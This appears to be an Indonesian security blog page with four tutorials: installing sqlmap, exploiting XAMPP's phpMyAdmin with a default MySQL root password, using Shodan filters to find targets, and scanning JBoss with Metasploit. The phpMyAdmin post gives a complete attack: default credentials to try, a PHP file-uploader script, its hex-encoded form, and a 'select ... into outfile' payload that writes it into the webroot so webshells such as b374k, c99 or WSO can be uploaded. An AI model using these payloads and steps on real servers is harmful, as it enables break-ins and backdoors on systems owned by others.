FDEV ID: 2016

Tutorial Install Sqlmap beserta Fitur dan Kegunaannya

9:28 PM

"Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections" -sqlmap.org

Secara singkat, sqlmap merupakan tool yang digunakan untuk keperluan penetration testing yang dikususkan menangani SQL Injection yang dikembangkan secara Open Source ( bebas digunakan dan disebar luaskan), tool sqlmap sendiri ditulis dalam bahasa pemograman Python. Sqlmap dapat secara otomatis mengenali berbagai jenis vulnerability SQL, termasuk jenis database management system yang digunakan, operasi sistem, dan dapat dengan mudah menampilkan tabel dan database secara otomatis. Tentunya dengan menggunakan sqlmap, melakukan penetration testing pada vulnerability SQL Injection menjadi lebih mudah daripada melakukannya secara manual.

Berikut merupakan fitur - fitur yang akan Anda dapatkan dari Sqlmap:

Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
Support to dump database tables entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command.

Dalam artikel ini, kita akan mencoba melakukan instalasi sqlmap dengan mudah pada sistem operasi Linux, namun untuk beberapa distro Linux khususnya pada bidang Penetration Testing, sudah menyertakan sqlmap didalamnya, seperti distro Kali Linux, Backbox dan lainnya.

Pertama, untuk menginstal sqlmap diperlukan Python versi 2.7, sqlmap tidak mendukung Python 3, apabila anda belum menginstallnya dan anda sedang menggunakan Linux Debian atau turunannya, silahkan ketik pada terminal: sudo apt-get install python dan untuk pengguna CentOS anda dapat menginstallnya dengan mengetik sudo yum install python pada terminal. Selengkapnya dapat anda baca di www.python.org

Setelah anda berhasil melakukan instalasi Python, atau anda sudah memilikinya, maka langsung saja kita lakukan instalasi sqlmap dengan men-download sqlmap menggunakan bantuan git, apabila anda belum memilkinya silahkan install dengan mengetikkan sudo apt-get install git atau sudo yum install git.
** Anda juga dapat mendownloadnya langsung di github.com/sqlmapproject/sqlmap

Kemudian, untuk men-download sqlmap dari github kita ketikan pada terminal sebagai berikut:

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap

Setelah kita eksekusi perintah diatas, maka sqlmap akan terdownload pada directory sqlmap, seperti yang sudah ditentukan. Selanjutkan kita pindah directory bekerja kita ke /sqlmap dengan perintah cd /sqlmap
dan kita periksa apakah sqlmap berhasil di download dengan mengetikkan perintah ls.

Sepertinya tool sqlmap sudah berhasil didownload dengan benar. Selanjutnya, kita akan mencoba menjalankannya dengan mengetikkan:

python sqlmap.py -h

Maka kurang lebih terminal akan menampilkan sqlmap seperti gambar berikut.

Sampai titik ini, anda sudah berhasil melakukan instalasi sqlmap, anda dapat membukanya dengan memindahkan working directory anda pada directory sqlmap, atau meng-eksekusinya dengan perintah python /path/sqlmap.py. Namun cara tersebut dirasa kurang praktis dan memakan banyak waktu. Oleh karena itu, kita bisa membuat symbolic link untuk sqlmap, sehingga dapat dijalankan dengan mudah. untuk membuat symlink (symbolic link) kita hanya perlu mengetikkan perintah berikut.

sudo ln -s /path/sqlmap/sqlmap.py /bin/sqlmap

** /bin/sqlmap dapat anda ganti menjadi /usr/bin/sqlmap
Apabila anda sudah berhasil mengeksekusi perintah tersebut, maka akan terbentuk symlink sqlmap pada directory pada /bin atau /usr/bin/ seperti gambar berikut.

** Saya menaruh directory sqlmap pada /opt/sqlmap/
Sekarang, anda dapat mengakses sqlmap dengan mudah, yaitu cukup memanggil sqlmap pada terminal, dimanapun working directory anda.

Tutorial cara penggunaan dan tekniknya akan saya posting dalam artikel berikutnya.

Demikian artikel yang dapat saya berikan, mohon maaf apabila terjadi kesalahan ataupun ada pihak yang merasa dirugikan, artikel ini hanya bertujuan untuk Ilmu Pengetahuan saja, kirimkan Komentar apabila ada yang ingin ditanyakan, Semoga bermanfaat.

Share |

Eksploitasi phpMyAdmin Default MySQL Root Password pada XAMPP

7:24 AM

Didalam paket instalasi XAMPP, tersedia bebagai kebutuhan untuk membangun webserver dengan mudah dan portable, diantaranya paket instalasi Apache, PHP, Perl, MySQL, dan tidak ketinggalan untuk me-management database MySQL dengan web interface, XAMPP menyertakan phpMyAdmin sebagai database managemennya, dengan username dan password MySQL yang secara default dapat diakses dengan bebas oleh siapa pun, dan yang lebih buruk lagi, seringkali pengguna lupa untuk mengubah sandi atau usernamenya.

Untuk mencegah kelalaian yang berakibat fatal tersebut, maka haruslah dibiasakan untuk selalu melakukan pemeriksaan atau mengganti password default pada setiap instalasi aplikasi web untuk menghindari aksi hacking.

Untu mengetahui seberapa jauh bahaya password root MySQL yang dibiarkan default, dalam artikel ini kita akan membahas bagaimana cara untuk meng-eksploitasi vulnerability tersebut melalui phpMyAdmin. Untuk melakukan itu semua, yang kita butuh adalah web browser (saya menggunakan Firefox), dan plugin hackbar untuk encode HEX (opsional).

Pertama kali, kita tentukan target yang akan dieksploitasi, bisa didapatkan melalui search engine Shodan atau Google, namun cara tersebut dapat berdampak merugikan pada server yang kita uji coba, dan ada baiknya kita memberitahukan kepada pemiliknya apabila ada celah vulnerability pada server tersebut, atau bila ingin aman lebih baik menggunakan webserver yang berjalan pada localhost, caranya dengan melakukan instalasi XAMPP pada komputer kita sendiri.

Apabila semua persiapan terpenuhi, kita langsung saja membuka host atau ip target yang dimaksud, jika halaman tidak ter-redirect secara otomatis ke /xampp, kita ketikan secara manual target.com/xampp atau 127.0.0.1/xampp. Bila halaman berhasil dibuka, maka, tampilan halamannya kurang-lebih akan seperti ini.

Untuk versi yang lebih baru, halaman XAMPP ada pada /dashboard dengan tampilan sebagai berikut.

Baik XAMPP versi terbaru atau lama, jika phpMyAdmin dapat diakses bebas tanpa autentifikasi, kita tetap dapat melakukan exploitasi. Setelah memastikan bahwa target meggunakan XAMPP, selanjutnya kita lakukan pengcekan apakah halaman login phpMyAdmin dapat diakses dengan bebas, dengan mengunjungi
target.com/phpmyadmin.

Apabila halaman phpMyAdmin dapat diakses tanpa memerlukan autentfikasi, server memiliki kemungkinan untuk dapt dieksploitasi, namun apabila server membalas dengan respon kode HTTP 403 Forbiden atau memerlukan autentfikasi sandi, hal tersebut berarti pemilik server sudah berhasil meningkatkan keamanan server miliknya.

Jika anda tidak menemui halaman phpMyAdmin seperti gmbar diatas, melainkan halaman login seperti ini.

Maka, coba masukkan root sebagai username dan password biarkan tanpa di isi (blank). Bila tidak berhasil masukkan root sebagai username maupun password. Apabila berhasil maka target akan menampilkan halaman seperti gambar sebelumnya.

Setelah berhasil membuka halaman phpMyAdmin selanjutnya buka tab SQL yang ada pada deretan sebelah atas. Seperti yang ditunjukan gambar berikut

Pada kolom SQL Query tersebut kita dapat memasukkan payload yang akan membuat script file uploader (dalam bahasa PHP), yang akan kita gunakan untuk meng-upload webshell backdoor.
Berikut ini adalah kode script php file uploader yang akan kita gunakan:

<?php echo "<form method='POST' enctype='multipart/form-data'><input type='file' name='filele' size='44'><input type='submit'></form>";@copy($_FILES['filele']['tmp_name'],$_FILES['filele']['name']);?>

**Minimalisir penggunaan spasi atau tabulasi pada script diatas agar script dapat diencode dan didecode seperti semula

Untuk dimasukkan kedalam payload, kode script php diatas perlu di-encode ke dalam bentuk HEX terlebih dahulu. Kita dapat menggukan plugin hackbar untuk melakuakan encode HEX tersebut.

Contoh, kita akan melakukan encode kode php "<?php phpinfo(); ?>" menggunakan hackbar yang ditunjukkan oleh gambar sebagai berikut.

Maka, kode php yang telah diconvert dalam bentuk HEX akan menjad:
3c3f70687020706870696e666f28293b203f3e

Sehingga untuk kode php file uploader diatas apabila diencode dalam bentuk HEX, akan menjadi:

3c3f706870206563686f20223c666f726d206d6574686f643d27504f53542720656e63747970653d276d756c7469706172742f666f726d2d64617461273e3c696e70757420747970653d2766696c6527206e616d653d2766696c656c65272073697a653d273434273e3c696e70757420747970653d277375626d6974273e3c2f666f726d3e223b40636f707928245f46494c45535b2766696c656c65275d5b27746d705f6e616d65275d2c245f46494c45535b2766696c656c65275d5b276e616d65275d293b3f3e

Payload yang akan dieksekusi pada SQL Query adalah sebagi berikut:
select 0x<script yang sudah diencode dlm bentuk HEX> into outfile '<path root webserver>'

Sebelum meng-eksekusi payload, kita perlu mengetahui webroot path (path letak webroot directory berada).Pada sistem operasi Windows, XAMPP secara default mempunyai webroot pada: C:\xampp\htdocs\ yang dituliskan pada payload menjadi C:/xampp/htdocs/ dan pada linux berbeda beda seperti /var/www/html/, /opt/lampp/ dan lainnya. Untuk mengetahui secara tepat, kita dapat melihat path webroot dengan bantuan fungsi phpinfo(); yang sudah ada pada paket XAMPP.

Buka /xampp/phpinfo.php, kemudian cari dengan kata kunci "DOCUMENT_ROOT" maka akan terlihat path webroot-nya.

*Path webroot dapat diketahui melalui pesan error pada web

** Tidak semua path dapat ditulis (writeable).

Setelah kita mengetahui path webroot, maka selanjutanya kita dapat meng-eksekusi payload, hasil payload akhir yang kita masukkan pada SQL Query adalah:

select 0x3c3f706870206563686f20223c666f726d206d6574686f643d27504f53542720656e63747970653d276d756c7469706172742f666f726d2d64617461273e3c696e70757420747970653d2766696c6527206e616d653d2766696c656c65272073697a653d273434273e3c696e70757420747970653d277375626d6974273e3c2f666f726d3e223b40636f707928245f46494c45535b2766696c656c65275d5b27746d705f6e616d65275d2c245f46494c45535b2766696c656c65275d5b276e616d65275d293b3f3e into outfile 'C:/xampp/htdocs/xampp/uploader.php'

Penjelasan:
1. Warna hijau (C:/xampp/htdocs/), merupakan path webroot
2. Warna ungu (/xampp/), merupakan path setelahnya atau directory dimana file akan dibuat
3. Warna biru menjelaskan nama file dan ekstensinya

Setelah semua sudah siap tinggal kita taruh payload diatas pada kolom SQL Query dan kita eksekusi dengan mengeklik tombol Go.

Apabila proses eksekusi berjalan dengan benar tanpa pesan error, seperti gambar diatas. Berarti file uploader berhasil dibuat pada path yang sudah ditentukan tadi.
Selanjutnya kita periksa apakah file uploader berhasil dibuat, dengan membuka url host beserta directory tempat kita menaruh file uploader tadi. (/xampp/uploader.php)

Dan seperti yang terlihat, kita berhasil mebuat file uploader pada server target, selanjutnya kita bisa meng-upload webshell utama seperti b374k, c99, WSO dan banyak lagi.
Untuk webshell b374k, anda bisa mendapatkannya langsung di https://github.com/b374k/b374k

Demikian artikel yang dapat saya berikan, mohon maaf apabila terjadi kesalahan ataupun ada pihak yang merasa dirugikan, artikel ini hanya bertujuan untuk Ilmu Pengetahuan saja, kirimkan Komentar apabila ada yang ingin ditanyakan, Semoga bermanfaat.

Share |

Mengenal Search Engine Shodan, dan Apa kegunaannya?

1:37 AM

"Shodan is a search engine that lets the user find specific types of computers (web cams, routers, servers, etc.) connected to the internet using a variety of filters. Some have also described it as a search engine of service banners, which are meta-data the server sends back to the client. This can be information about the server software, what options the service supports, a welcome message or anything else that the client can find out before interacting with the server." - Wikipedia
Shodan merupakan search engine (mesin pencari) yang memungkinkan penggunannya untuk mencari berbagai macam komputer termasuk webcam, router, server, dan lainnya secara spesifik dengan menggunakan filter atau sering kita kenal dengan sebutan dork query pada search engine Google.

Nah, didalam artikel kali ini kita akan membahas bagaimana cara menggunakan filter (dork) dan penerapannya dalam tahap reconnaissance (mengumpulkan data atau untuk mencari target), dan scanning (service yang dipakai, port dan lainnya).

Untuk pertama kali, kita harus melakukan pendaftaran terlebih dahulu sebelum dapat memakai fitur search menggunakan filter pada Shodan, kita juga dapat meng-upgrade akun kita menjadi member dengan membayar sebesar $49 untuk seumur hidup, atau sekitar Rp. 650.000,- jika kita rupiah-kan, namun apabila tidak, kita tetap bisa menggunakannya, tetapi dengan dibatasi hasil pencarian yang hanya sebanyak 5 halaman saja.

Apa saja yang bisa kita dapatkan dengan Shodan?
1. Map atau peta, untuk mengetahui letak IP / server komputer
2. Open Ports, port yang sedang terbuka atau port yang dapat diakses diluar NAT
3. Dapat mengetahui service apa saja yang ada pada sebuah server komputer
4. Memfilter ip berdasarkan operasi sistem, negara, kota, perusahaan, ip range,judul, port, service,dan lainnya.
5. Dapat mengetahui kapan ip dimasukkan kedalam database Shodan.
6. Dapat digunakan untuk pengembangan aplikasi melalui API Shodan.

Shodan memiliki beberapa filter yang dapat kita gunakan untuk mencari sesuatu (dalam hal ini komputer dalam jangkauan internet) secara spesifik, seperti filter country yang dapat digunakan untuk mencari komputer yang negaranya sudah ditentukan terlebih dahulu, contoh dari filter ini ialah apabila kita ingin menampilkan IP komputer mana saja yang berasal dari Singapura, maka kita cukup gunakan filter, country:"SG" . Berikut contoh penggunaan filter country.

"SG" merupakan kode negara Singapura, untuk Indonesia kita gunakan "ID" dan Amerika Serikat kita gunakan "US" dan sebagainya.

Filter Server: Bagaimana cara mencari webcam dengan filter "Server" ?

Penggunaan:
Server: <server>
Untuk menampilkan ip web camera (webcam) pada hasil pencarian, kita cukup gunakan filter "Server". Seperti, Server: SQ-WEBCAM

Filter Server tidak hanya digunakan untuk mencari webcam saja, kita bisa gunakan filter tersebut untuk mencari webserver IIS misalnya. Server: IIS

Selain mengetikkan filter country secara langsung, seperti yang tadi sudah dijelaskan, kita juga dapat mengeklik link yang ada disamping kiri untuk menentukkan negara atau yang lainnya (port, dll..)

Filter Port: Bagaimana cara mencari webserver Apache pada port 8080 ?

Penggunaan:
port:"<port>"
Dengan menggunakan filter port, kita dapat mencari ip dengan port tertentu, misalnya webserver Apache dengan port 8080, maka kita gunakan filter port sebagai berikut:
Server: Apache port:"8080"

Filter OS: Bagaiamana mencari server dengan sistem operasi Windows?

Penggunaan:
os:"<nama sistem operasi>"

Dengan dengan menggunakan fiter OS, kita dapat menampilkan hasil ip server dengan os yang kita tentukan, misalnya Windows. os:"Windows"

Kita juga dapat menggunakan filter yang lebih spesifik, seperti os:"Windows Server 2008 R2"

Filter Title: Bagaimana mencari webserver dengan judul "Indonesia"

Penggunaan:
title:"<judul>"
Untuk mencari webserver yang mempunyai judul tertentu, misalnya "Indonesia" kita dapat menggunakan filter title. title:"Indonesia", maka Shodan akan menampilkan hasil pencarian dengan webserver yang mempunyai judul "Indonesia".

Filter Hostname: Bagaimana mencari ip server dengan hostname tertentu?

Penggunaan:
hostname:"<hostname>"
Untuk mencari ip dengan hostname yang sudah ditentukan, misalnya "telkom.net.id". Maka kita dapat gunkan filter hostname, yaitu hostname:"telkom.net.id"

Untuk mengetahui secara detail ip atau host yang berhasil kita dapat, kita tinggal klik Details pada ip/host yang muncul pada hasil pencarian, maka hasilnya akan terlihat seperti gambar berikut ini.

Disana terlihat jelas peta dan posisi server tersebut berada, dan juga beberapa informasi penting lainnya seperti port, service, dan juga data informasi provider atau organization, maupun tanggal kapan data tersebut didapat atau diperbaharui

Berikut ini filter yang dapat kita gunakan, diantarnya:
title:"<judul>"
country:"<negara>"
city:"<kota>"
hostname:"<hostname>"
net: <ip range>
port:"<port>"
org:"<nama perusahaan/provider>"
os:"<nama sistem operasi>"
after: <tanggal>
before: <tanggal>

Untuk Penggunaan filter dapat kita gabungkan dan kita kreasikan sesuai kebutuhan dan keperluan masing - masing. Contoh: port:"80" Server: Apache title:"Welcome" country:"US"

Kegunaan search engine shodan untuk keperluan reconnaissance, misalnya untuk mencari ip server yang menggunakan web aplikasi JBoss. Sudah kita ketahui, JBoss untuk beberapa versi memliki beberapa celah vulnerability yang dapat di eksploitasi.Scanning Jboss Vulnerablity dengan Metasploit

Share |

Scanning JBoss Vulnerability using Metasploit Framework Part 1

8:58 PM

Menurut CVE-2007-1036, web aplikasi JBoss memiliki vulnerability yang memungkinkan seseorang untuk mengakses console dan web management interfaces tanpa memerlukan autentifikasi, sehingga attacker dapat dengan mudah dapat memperoleh hak administrator yang kemudian dapat dimanfaatkan untuk mengambil alih server melalui serangkaian tahap ekspolitasi.

Kali ini kita akan menggunakan modul dari metasploit untuk melakukan percobaan terhadap target.
Untuk membuka metasploit pada terminal ketikan msfconsole

Pertama kali yang harus dilakukan adalah memastikan bahwa target memilki kerentanan atau celah vulnerability.

Metasploit sudah menyediakan modul yang dapat kita gunakan untuk melakuan scanning untuk mencari celah vulnerability pada server JBoss.

Untuk menggunakan modul tersebut, kita ketikan dalam terminal msfconsole:
use <nama modul>
use auxiliary/scanner/http/jboss_vulnscan

Selanjutnya kita tampilkan opsi apa saja yang ada pada modul jboss_vulnscan, dengan cara mengetikkan show options pada terminal msfconsole.

Untuk memasukkan target yang ingin kita scan, dapat kita lakukan dengan mengetikkan:

set RHOSTS <ip/hostname target>
set RHOSTS target.com

* Kita juga dapat memindai beberapa host/ip sekaligus dengan memasukkannya secara berurutan.
Contoh: set RHOSTS target1.com target2.com 192.168.0.1 192.168.0.3

Selain mementukan remote host/ip target, kita juga dapat menentukan port target jika sudah kita ketahui, caranya dengan mengetikkan set RPORT <port> dan masih banyak lagi opsi lainnya, seperti opsi SSL, yang dapat kita pakai apabila web target menggunakan ssl/https, jumlah thread dan verb untuk mem-bypass autentifikasi http.

Setelah semua options kita penuhi, selanjutnya tinggal kita ketikan run, untuk menjalankan proses scanning.
Kurang lebih proses scanning akan berjalan seperti pada gambar berikut.

Setelah proses scanning selesai, kita segera dapat mengetahui apakah target memiliki vulnaberabilty atau tidak, tanda plus "+" berwarna hijau menunjukkan bahwa target memiliki celah vulnerability. Pada kasus ini target memiliki web-console dan /invoker/JMXInvokerServlet tanpa autentifikasi.

Pada tahap ini, kita sudah dapat menentukan vulnerability yang ada pada target. Pada tahap selanjutnya kita akan melakukan eksploitasi terhadap target, sampai mendapatkan shell interaktif. Tahap selanjutnya akan dilanjutkan pada Part berikutnya.

** Segala kerusakan yang ditimbulkan diluar tanggung jawab penulis.
** Penulis merekomendasikan untuk melakukan percobaan pada lab sendiri atau localhost.

Share |

Pages

FDEV ID

Tutorial Install Sqlmap beserta Fitur dan Kegunaannya

Eksploitasi phpMyAdmin Default MySQL Root Password pada XAMPP

Mengenal Search Engine Shodan, dan Apa kegunaannya?

Scanning JBoss Vulnerability using Metasploit Framework Part 1

Artikel Terbaru

Tutorial Install Sqlmap beserta Fitur dan Kegunaannya

Blog Archive

Artikel menarik lainnya